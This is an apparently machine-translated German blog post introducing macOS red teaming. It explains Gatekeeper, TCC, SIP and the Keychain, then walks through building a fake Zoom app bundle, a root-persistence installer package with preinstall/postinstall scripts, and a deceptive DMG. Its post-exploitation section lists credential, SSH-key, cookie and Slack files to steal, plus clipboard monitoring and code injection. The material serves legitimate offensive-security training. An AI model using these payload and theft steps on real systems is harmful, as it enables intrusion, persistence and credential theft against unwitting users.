Dieser Beitrag behandelt grundlegende macOS-Sicherheitskonzepte und dient hoffentlich als Einführung in Red-Teaming-MacOS-Umgebungen.

Behandelten Themen

• macOS-Sicherheitsübersicht
  – Gatekeeper und XProtect
  – Gehärtete Laufzeit
  – Systemintegritätsschutz (SIP)
  – Transparenz, Zustimmung und Kontrolle (TCC)
  – macOS Sandbox
  – Schlüsselbund
• Nutzlasten und Persistenz für den Erstzugriff
  – Anwendungspakete
  – Installationspakete
  – Disk-Images (DMG)
• Privilegieneskalation und Post-Exploitation
  – Situationsbewusstsein
  – Diebstahl von Cookies
  – Überwachung der Zwischenablage
  – Code-Injektion
  – In-Memory-Mach-O-Laden

In diesem Beitrag handelt es sich nicht um „neue“ Forschungsergebnisse, sondern um konsolidierte Informationen zu den oben genannten Themen aus den folgenden Ressourcen an einem einzigen Ort, um das Lesen und die Einführung zu erleichtern.

• Blogs
  – Patrick Wardle/Objective See
  – Adam Chester
  – Justin Bui
  – Csaba Fitzl
  – Wojciech Reguła
  – Cedric Owens
  – Chris Ross
  – Leo Pitt
• Videos
  - Cedric Owens' DEFCON 29: Red Teaming macOS
  - Cody Thomas' OBTS: Red Teaming macOS
  - Wojciech Reguła's x33fcon: Red Teaming macOS
  - Cody Thomas' OBTS: Lockpicking des macOS-Schlüsselbunds
• Bücher/Kurse
  – The Art of Mac Malware von Patrick Wardle
  – OSMR von Offensive Security
• All-in-One-Referenz
  – Awesome-macOS-Red-Teaming

Gatekeeper und XProtect

Gatekeeper ist ein Sicherheitsmechanismus, der darauf ausgelegt ist, nur vertrauenswürdige Anwendungen auf Systemen laufen zu lassen, ähnlich wie SmartScreen und MOTW unter Windows. Wenn ausführbare Dateien aus dem Internet heruntergeladen werden, werden sie mit dem Attribut gekennzeichnet com.apple.quarantine, das Gatekeeper auslöst, wenn die Datei ausgeführt wird.

Wenn die ausführbare Datei notariell beglaubigt ist, überprüft Gatekeeper die Codesignatur der Datei und fordert den Benutzer auf, zu bestätigen, dass er die Datei ausführen möchte.

Wenn die ausführbare Datei nicht notariell beglaubigt ist, zeigt Gatekeeper dem Benutzer eine Meldung an, in der er darüber informiert wird, dass die Datei nicht ausgeführt werden kann, da sie nicht signiert ist. Um nicht signierte ausführbare Dateien auszuführen, muss der Benutzer mit der rechten Maustaste auf die Datei klicken und dann auf „Öffnen“ klicken, anstatt auf einen Doppelklick.

Nach der Überprüfung der Codesignatur scannt XProtect, das integrierte Antivirenprogramm von macOS, die Datei auf Malware. XProtect nutzt YARA-Regeln, die über gefunden werden können locate XProtect.yaraund größtenteils nutzlos sind, es sei denn, Sie führen standardmäßige Metasploit-Nutzlasten aus. Darüber hinaus scannt XProtect nur unter drei Bedingungen auf Malware

• Die Datei wird zum ersten Mal ausgeführt
• Der Hash der Datei hat sich geändert
• Die YARA-Regeln von XProtect wurden aktualisiert

Gehärtete Laufzeit

Die gehärtete Laufzeit ist eine Funktion, die in Apps aktiviert werden kann, um vor Code-Injection über Dylib-Hijacking, Umgebungsvariablen und Task-Port-Injection zu schützen. Ein Beispiel dafür, wie eine gehärtete Laufzeit vor Injektionen schützt, besteht darin, dass jede in den Prozess geladene Dylib mit demselben Zertifikat wie die App selbst signiert werden muss. Dies führt natürlich zu Problemen, wenn eine Anwendung Dylibs von Drittanbietern laden muss. Daher können Apps über bestimmte Berechtigungen verfügen, um einige dieser Einschränkungen aufzuheben.

Wir können App-Berechtigungen über codesign -d --entitlements :- <file>oder den list_entitlementsBefehl in Poseidon auflisten, und wenn einer der folgenden Punkte vorhanden ist, können wir möglicherweise Folgendes in die App einfügen:

• Die com.apple.security.cs.disable-library-validationBerechtigung ermöglicht das Laden jeder Dylib, ob signiert oder nicht, in den Prozess. Abhängig vom Speicherort der Dylibs, die die App lädt, kann dies Tür und Tor für Dylib-Hijacking öffnen.
• Die com.apple.security.cs.allow-dyld-environment-variablesBerechtigung ermöglicht das Laden von Dylibs aus der DYLD_INSERT_LIBRARIESUmgebungsvariablen. Diese Berechtigung allein beseitigt jedoch nicht die zuvor genannten Code-Signing-Anforderungen. Wenn diese Berechtigung zusammen mit der Berechtigung „Disable-Library-Validation“ vorhanden ist, können Sie sie über DYLD_INSERT_LIBRARIES=malicious.dylib ./appähnlich wie LD_PRELOADunter Linux in die App einbinden.
• Die com.apple.security.get-task-allowBerechtigung ermöglicht es anderen Apps, den Aufgabenport Ihrer App abzurufen, was dem Abrufen eines Handles für einen Prozess unter Windows ähnelt. Es ist zu beachten, dass Ihr Code als Root ausgeführt werden muss, um auf einen Task-Port zugreifen zu können. Mit dem Task-Port können Sie dann Ihre klassische Prozessinjektion durchführen, indem Sie Shellcode schreiben und einen Thread erstellen.

Systemintegritätsschutz (SIP)

SIP, auch bekannt als „rootless“, schützt Systemdateien vor Änderungen. Selbst als Root-Benutzer können wir im Wesentlichen bestimmte Systemdateien, wie z. B. die ausführbaren Dateien darin, nicht ändern /bin/. Durch SIP geschützte Dateien können über das Flag identifiziert werden restricted.

SIP kann über deaktiviert werden csrutil disable, erfordert jedoch einen Neustart des Geräts im Wiederherstellungsmodus, sodass dies aus Red-Team-Perspektive normalerweise nicht in Frage kommt.

Transparenz, Einwilligung und Kontrolle (TCC)

TCC ist eine in Version 10.14+ implementierte macOS-Datenschutzfunktion, die den Benutzer auffordert, explizit Berechtigungen zu erteilen, wenn eine Anwendung versucht, auf bestimmte Ressourcen wie die Kamera und bestimmte Ordner, einschließlich , , Desktopund DownloadsLaufwerke Documents/Volumes, zuzugreifen.

Der Versuch, ohne Berechtigungen auf eine TCC-geschützte Ressource zuzugreifen, könnte dazu führen, dass versehentlich eine Eingabeaufforderung generiert wird, die den Benutzer auf Ihre Anwesenheit aufmerksam macht, und letztendlich dazu führt, dass Ihr Engagement früher als erwartet endet. Nachfolgend finden Sie einige nützliche Dateien, die nicht durch TCC geschützt sind:

• Versteckte Dateien und Ordner im Home-Verzeichnis – ~/.aws/*, ~/.ssh/*, ~/.bash_history,~/.zsh_history
• Benutzeranwendungsdaten –~/Library/Application Support/*
• Cookie-Dateien – ~/Library/Application Support/Google/Chrome/Default/Cookies,~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

Für die Interaktion mit der TCC-Datenbank des Benutzers ist ein vollständiger Festplattenzugriff (FDA) erforderlich. Wenn wir jedoch mit ihr interagieren können, können wir sie anschließend ändern, um uns Zugriff auf andere Ressourcen zu gewähren. Wir können überprüfen, ob wir FDA haben, ohne den Benutzer dazu aufzufordern, indem wir filedie TCC-Datenbank des Benutzers prüfen.

TCC-Bypässe sind nicht besonders „selten“ und ich empfehle einen Blick auf den Blog von Csaba Fitzl , um über alte und neue Bypässe auf dem Laufenden zu bleiben.

macOS-Sandbox

Die macOS-Sandbox ist eine Funktion, die Entwickler für ihre Apps aktivieren können, wenn diese außerhalb des App Store veröffentlicht werden, und die für alle direkt aus dem App Store heruntergeladenen Apps obligatorisch ist. Apps, die sich für die Sandbox-Funktion entschieden haben, verfügen über die com.apple.security.app-sandboxBerechtigung und werden, wie der Name schon sagt, gezwungen, in einer Sandbox ausgeführt zu werden. Apps, die in einer Sandbox ausgeführt werden, haben einen äußerst eingeschränkten Zugriff auf das System, z. B. die Möglichkeit, Dateien auf der Festplatte zu lesen oder darauf zu schreiben. Aus diesem Grund sind bestimmte Angriffswege auf macOS wie Phishing über Makros nicht verlockend. Da sich Microsoft Office-Apps für die Sandbox anmelden, werden Sie daran gehindert, zu bleiben und zu plündern.

Schlüsselanhänger

Der Schlüsselbund kann mit LSASS unter Windows verglichen werden und enthält Geheimnisse wie Passwörter und Schlüssel für Apps. Beispielsweise kann eine Anwendung die auf der Festplatte gespeicherten Dateien verschlüsseln und der Entschlüsselungsschlüssel für diese Dateien wird im Schlüsselbund gespeichert. Den Systemschlüsselbund finden Sie unter /Library/Keychains/System.keychainund den Schlüsselbund des Benutzers finden Sie unter ~/Library/Keychains/login.keychain-db.

Sie können den Schlüsselbund des Benutzers herunterladen, die darin enthaltenen Geheimnisse werden jedoch mit dem Kennwort des Benutzers verschlüsselt. Abhängig davon, ob Sie über das Passwort des Benutzers verfügen, können Sie Chainbreaker nutzen , um entweder Geheimnisse zu extrahieren oder den Hash des Schlüsselbundpassworts --dump-keychain-password-hashin ein Format für Hashcat zu übertragen, das extrem langsam zu knacken ist.

Schließlich verfügt jeder Eintrag im Schlüsselbund über zugehörige ACLs und Berechtigungen, die in der App „Schlüsselbundzugriff“ angezeigt werden können. Vertrauenswürdige Anwendungen sind Apps, die Vorgänge am Schlüsselbundeintrag ausführen können, ohne den Benutzer dazu aufzufordern. Diese Liste finden Sie unter der Registerkarte „Zugriffskontrolle“. Ein interessanter Fall ist, dass die Liste „NULL“ ist, was bedeutet, dass alle Apps vertrauenswürdig sind, nicht zu verwechseln mit einer leeren Liste, die einfach bedeutet, dass keine Apps vertrauenswürdig sind.

Wenn Sie im Kontext einer vertrauenswürdigen App ausgeführt werden oder die Liste NULL ist und Sie über eine der folgenden Berechtigungen verfügen, können Sie möglicherweise Geheimnisse extrahieren, ohne den Benutzer dazu aufzufordern:

• ACLAuthorizationDecrypt
• ACLAuthorizationExportClear
• ACLAuthorizationExportWrapped
• ACLAuthorizationAny

Nutzlasten und Persistenz für den Erstzugriff

Wenn Sie daran interessiert sind, mehr über Payload-Typen für macOS als Alternative zu den unten aufgeführten zu erfahren, empfehle ich Ihnen, einen Blick auf das Mystikal- Projekt und den dazugehörigen Blog-Beitrag zu werfen .

Darüber hinaus ist zu beachten, dass EDR-Produkte auf macOS noch nicht ausgereift sind und im Wesentlichen nur als Protokollierungsprodukt fungieren. Daher können Sie normalerweise jeden Standard-C2-Agenten außer Metasploit verwenden und müssen sich keine Sorgen machen, dass der EDR Ihre Nutzlast abfängt.

Anwendungspakete

Anwendungspakete (.app) sind einer der häufigsten Programmtypen und das Format, in dem fast alle Endbenutzersoftware veröffentlicht wird. App-Bundles werden darin gespeichert /Applications/und Ihnen angezeigt, wenn Sie auf Launchpad klicken. Unter Bezugnahme auf die Dokumentation von Apple hat ein minimales App-Bundle normalerweise die folgende Struktur:

AppName.app/
    Contents/
        Info.plist  # App config info
        MacOS/      # Contains the app's executable file
        Resources/  # Fonts, images, sounds, icons, etc.

1 – Erstellen Sie die App-Bundle-Ordnerstruktur

mkdir FakeZoom.app
mkdir FakeZoom.app/Contents
touch FakeZoom.app/Contents/Info.plist
mkdir FakeZoom.app/Contents/MacOS
mkdir FakeZoom.app/Contents/Resources

Da nun sowohl Intel- als auch Silicon-Macs üblich sind, können wir als Nächstes sowohl eine AMD- als auch eine ARM-Poseidon-Nutzlast erstellen und diese dann zu einem universellen Mach-O kombinieren, der auf beiden Architekturen ausgeführt werden kann, und ihn dann im Verzeichnis lipo -create <arm-payload> <amd-payload> -output <universal-payload>ablegen MacOS.

3 - Erstellen Sie die Info.plistDatei.

Unter Bezugnahme auf die Entwicklerdokumente von Apple müssen wir einige Schlüssel angeben:

• CFBundleExecutable – Der Name der wichtigsten ausführbaren Datei im MacOS-Verzeichnis (PoseidonPayload)
• CFBundleIconFile – Der Name des Anwendungsbildes (ZoomImageForPayload)
• CFBundleIdentifier – Die Zeichenfolge, die Ihre Anwendung auf dem System eindeutig identifiziert (com.examplepayload.Zoom)
• CFBundleName – Der Name Ihrer App (FakeZoom)
• CFBundleVersion – Die Build-Versionsnummer Ihrer App (1.0.0)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>CFBundleExecutable</key>
 <string>PoseidonPayload</string>
 <key>CFBundleIconFile</key>
 <string>ZoomImageForPayload</string>
 <key>CFBundleIdentifier</key>
 <string>com.examplepayload.Zoom</string>
 <key>CFBundleName</key>
 <string>FakeZoom</string>
 <key>CFBundleVersion</key>
 <string>1.0.0</string>
</dict>
</plist>

Da wir eine gefälschte Zoom-App erstellen, können wir einfach die ICNS-Datei von Zoom aus dem /Applications/Verzeichnis (falls installiert) in kopieren Resources/ZoomImageForPayload. Alternativ können Sie jedoch auch jedes gewünschte Symbol verwenden.

Installationspakete

Installationspakete (.pkg) sind XAR-Archive und ein weiterer häufiger Programmtyp, der auftritt, wenn Software mit Root-Rechten installiert werden muss. Während Installationspakete eine Hauptnutzlast enthalten können, die beim Öffnen ausgeführt wird, besteht eine Alternative darin, „Preinstall“- und „Postinstall“-Skripts zu nutzen, die, wie der Name schon sagt, vor und nach der Installation ein Skript ausführen.

Für dieses Beispiel erstellen wir ein Installationspaket, das diese Skripte verwendet, um beim Öffnen einen LaunchDaemon für die Persistenz als Root-Benutzer zu registrieren.

1 – Erstellen Sie die Ordnerstruktur des Installationspakets

mkdir scripts
mkdir scripts/files
touch scripts/preinstall
touch scripts/postinstall
chmod +x scripts/preinstall
chmod +x scripts/postinstall

2 – Erstellen Sie eine Plist-Datei, um sich als LaunchDaemon zu registrieren

In dieser Plist-Datei wird eigentlich nur ein Wert benötigt, der ProgramArgumentsim Wesentlichen angibt, was ausgeführt werden soll, wenn der LaunchDaemon ausgelöst wird.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>Label</key>
 <string>com.examplepayload.persistence</string>
 <key>ProgramArguments</key>
 <array>
  <string>/Library/Application Support/PoseidonPayload</string>
 </array>
 <key>KeepAlive</key>
 <true/>
</dict>
</plist>

3 – Erstellen Sie die Vor- und Nachinstallationsskripts

Bei diesen Skripten handelt es sich lediglich um normale Bash-Skripte, sie müssen jedoch mit beginnen #!/bin/bashund enden exit 0. Wir verwenden das Vorinstallationsskript, um unsere Plist und Payload an die richtigen Speicherorte auf der Festplatte zu kopieren, und verwenden dann das Nachinstallationsskript, um den LaunchDaemon zu registrieren.

#!/bin/bash
cp files/PoseidonPayload "/Library/Application Support/PoseidonPayload"
cp files/com.examplepayload.persistence.plist "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0
#!/bin/bash
launchctl load "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0

      
                

                    
                    
                
            

Um das Installationspaket aus diesen Skripten zu erstellen, können wir sie einfach ausführenpkgbuild --identifier <identifier> --nopayload --scripts <path to scripts folder> <output>.pkg

Wir können den LaunchDaemon entladen, indem wir ihn ausführen. launchctl unload com.examplepayload.persistence.plistDabei ist zu beachten, dass das Ablegen der Nutzlast /Library/Application Support/nur eine reine Präferenz war und an anderer Stelle abgelegt werden kann.

LaunchDaemons stellen nur eine Form der Persistenz unter macOS dar. Wenn Sie an anderen Formen interessiert sind, empfehle ich einen Blick auf den Blog von SentinelOne .

Disk-Images (DMG)

DMGs sind komprimierte Volumes, die andere Nutzlastformate enthalten können. Der Vorteil der Übermittlung Ihrer Nutzlast innerhalb einer DMG-Datei besteht darin, dass Sie grafische Elemente hinzufügen können, um das Social Engineering des Benutzers zu unterstützen, damit er mit der rechten Maustaste klickt und dann Ihre Nutzlast öffnet, um Gatekeeper zu umgehen, da die DMG selbst Gatekeeper nicht aufruft.

Um ein echt aussehendes DMG zu erstellen, müssen wir ein benutzerdefiniertes Hintergrundbild erstellen. Ich nutze am liebsten legitime Software oder Firmenhintergrundbilder zusammen mit draw.io , aber Sie können auch Ihr eigenes erstellen, wie Sie möchten.

Für diese Demo habe ich dieses Bild als Basis verwendet und Folgendes erstellt:

Um zu beginnen, können wir ein Disk-Image erstellen, indem wir Disk Utility„Datei“ öffnen und dann „Neues Image“ und dann „Leeres Image…“ auswählen.

Wir können den Namen unseres Volumes auswählen und dann das „Format“ in „Mac OS Extended (Journaled)“ ändern.

Öffnen Sie die .dmg-Datei, in meinem Fall „example-payload.dmg“, und auf Ihrem Desktop erscheint ein Volume. Öffnen Sie dann das Volume, in meinem Fall „example“. Um versteckte Dateien unter macOS anzuzeigen, können Sie auf „[Umschalt] + [Befehl] + [Punkt]“ klicken.

Verschieben Sie Ihr Hintergrundbild zusammen /Volumes/<volume-name>/mit Ihrer Nutzlast als versteckte Datei in das Volume. Für dieses Beispiel können wir das App-Bundle aus dem obigen Abschnitt wiederverwenden.

Als nächstes können wir in das Volume klicken und „Ansicht“ auswählen, gefolgt von „Ansichtsoptionen anzeigen“.

Wählen Sie unter „Hintergrund“ „Bild“ aus und doppelklicken Sie dann auf das Feld „Bild hierher ziehen“. Es öffnet sich ein neues Finder-Fenster und Sie können das Hintergrundbild im Volume auswählen. Wenn Sie kein im Volume enthaltenes Bild auswählen, kann es zu Fehlern kommen. Darüber hinaus können wir die Größe des Symbols über „Icon Size“ ändern.

Passen Sie die Größe des Fensters an Ihren Hintergrund an und zentrieren Sie das App-Bundle.

Wenn Sie mit dem Layout zufrieden sind und das Finder-Fenster noch geöffnet ist, klicken Sie mit der rechten Maustaste auf das Volume auf dem Desktop und klicken Sie auf „Auswerfen“.

Öffnen Sie es erneut Disk Utilityund wählen Sie „Bilder“ und dann „Konvertieren…“.

Wählen Sie Ihre DMG-Datei aus und wählen Sie dann „Verschlüsselung: keine“ und „Bildformat: komprimiert“.

Natürlich macht diese Demo nicht allzu viel Sinn, da es sich um einen Chrome-Hintergrund mit einer Zoom-Anwendung (lol) handelt, aber ich hoffe, Sie verstehen, worum es geht.

Eine letzte Sache, die Sie in Bezug auf Payloads beachten sollten, ist, dass über Ihren Browser heruntergeladene Dateien das Attribut anhängen com.apple.metadata:kMDItemWhereFroms, das angibt, woher die Datei heruntergeladen wurde. Wenn Sie Ihre Poseidon-Payload direkt von Mythic in Ihrem Browser herunterladen, bevor Sie sie verpacken, kann dies dazu führen, dass versehentlich der Standort Ihres Teamservers preisgegeben wird. Sie können dieses Attribut über entfernen xattr -d com.apple.metadata:kMDItemWhereFroms <file>.

Eskalation von Privilegien und Post-Exploitation

Dieser Abschnitt erhebt keinen Anspruch auf Vollständigkeit aller Aktivitäten, die Sie nach dem Erwerb einer Shell ausführen können, und soll nur einen allgemeinen Überblick über Post-Ex unter macOS geben.

Situative Aufmerksamkeit

Sie können mit einigen Überprüfungen des Situationsbewusstseins auf dem System beginnen, indem Sie entweder HealthInspector oder SwiftBelt ausführen oder Konfigurationsdateien manuell durchsuchen. Bei vielen dieser Dateien handelt es sich um Plist-Dateien im Binärformat. Um sie lesbar zu machen, können Sie plutil. Einige interessante Dateien könnten sein:

• Welche Apps hat der Benutzer im Dock? —plutil -p ~/Library/Preferences/com.apple.dock.plist
• Mit welchen Dateien hat der Benutzer kürzlich interagiert? —plutil -p ~/Library/Preferences/com.apple.finder.plist
• Welche Version von macOS verwenden Sie? —plutil -p /System/Library/CoreServices/SystemVersion.plist

Als Nächstes können Sie damit beginnen, einige Dateien von der Festplatte herunterzuladen, die nicht durch TCC geschützt sind, einschließlich des Bash- oder ZSH-Verlaufs des Benutzers, SSH-Schlüssel, Cloud-Schlüssel (AWS, GCP usw.), Schlüsselbund und Cookies.

Wenn Sie ein macOS verwenden, handelt es sich bei der Organisation, für die Sie sich engagieren, wahrscheinlich um ein Technologieunternehmen oder ein Startup, und Slack ist in diesen Umgebungen häufig anzutreffen. Wenn ja, können Sie die folgenden Dateien herunterladen:

• ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/storage/root-state.json
• ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

Als Nächstes können Sie Browser-Cookies gezielt einsetzen. In diesem Beispiel verwenden wir Google Chrome. Wenn Sie das Passwort des Benutzers haben, weil Sie es entweder in seinem Bash- oder ZSH-Verlauf finden oder vielleicht eine Passwort-Eingabeaufforderung ausführen , können Sie ~/Library/Application Support/Google/Chrome/Default/Cookiesdie Datei offline herunterladen und entschlüsseln. Wenn Sie nicht über das Passwort des Benutzers verfügen, können Sie alternativ Tools wie WhiteChocolateMacademiaNut verwenden , um Chrome mit aktiviertem Remote-Debugging zu starten und die Cookies dann über einen Websocket abzulegen. Da Mac-EDRs noch nicht ausgereift sind, sollte das Ablegen verstümmelter Tools auf der Festplatte kein großes Problem darstellen.

Mit Zugriff auf Browser-Cookies können Sie dann über Poseidons integrierten Befehl oder Drop Chisel ein SOCKS öffnen und interne Websites durchsuchen. Konkret möchten Sie möglicherweise auf interne Dokumentationsseiten wie Confluence und deren interne Code-Repositories abzielen, um privilegierte Anmeldeinformationen zu finden.

Überwachung der Zwischenablage

Unter macOS wird jedes Mal, wenn sich der Inhalt der Zwischenablage geändert hat, ein Zähler erhöht, sodass wir den Wert des Zählers in einem Intervall überwachen und den Inhalt der Zwischenablage abrufen können, wenn er sich geändert hat. Poseidon verfügt über einen eingebauten Befehl clipboard_monitor, den wir hierfür nutzen können.

Einige zusätzliche Dinge, die Sie beachten sollten:

• Der clipboard_monitorBefehl filtert, um nur einfachen Text abzurufen. Wenn der Benutzer also eine große Binärdatei in seine Zwischenablage kopiert, müssen wir uns keine Sorgen darüber machen, große Mengen an Datenverkehr über unseren C2 zu senden.
• Der Root-Benutzer hat keinen Zugriff auf die Zwischenablage, daher müssen alle Tools zur Überwachung der Zwischenablage in einem Benutzerkontext ausgeführt werden.

Wie bereits im Abschnitt zur Härtung der Laufzeit erwähnt, ist die Möglichkeit, Code in eine Anwendung einzuschleusen, aus Sicht des Red Teams nützlich, da Ihnen dadurch möglicherweise zusätzliche Berechtigungen und Zugriff auf Ressourcen gewährt werden, die Sie zuvor nicht hatten.

Beispielsweise hat Ihre ursprüngliche Nutzlast möglicherweise keinen Zugriff auf den Ordner „Downloads“. Wenn Sie jedoch Code in Chrome einfügen können, der möglicherweise über die entsprechende com.apple.security.files.downloads.read-writeBerechtigung verfügt, können Sie anschließend den Ordner „Downloads“ durchsuchen.

Um Ziele für die Codeinjektion zu finden, können Sie list_entitlementsden Befehl von Poseidon ausführen, der nach laufenden Prozessen mit den im Abschnitt zur gehärteten Laufzeit genannten Berechtigungen sucht.

Von hier aus können Sie dann jeden Prozess untersuchen, um ein potenzielles Ziel zu finden.

Eine andere Form der Code-Injektion, die bisher nicht erwähnt wurde, ist das „Elektronen-Hijacking“, das von Adam Chester in diesem Blog ausführlich behandelt wird . Im Wesentlichen können Sie die ELECTRON_RUN_AS_NODEUmgebungsvariable nutzen, um einen Prozess als untergeordnetes Element einer Elektronen-App zu erzeugen. Da untergeordnete Prozesse die TCC-Berechtigungen ihrer übergeordneten Prozesse erben, können Sie möglicherweise deren Berechtigungen erhalten.

In-Memory Mach-O-Laden

Auch wenn dies beim aktuellen Stand der macOS-EDRs definitiv nicht erforderlich ist, ist es möglich, Mach-Os im Speicher auszuführen. Die APIs, die zum Laden im Speicher verwendet werden, variieren je nach Betriebssystemversion, daher werde ich hierauf nicht näher eingehen, sondern stattdessen empfehlen, sich den Beitrag von Justin Bui und den Beitrag von Adam Chester anzusehen .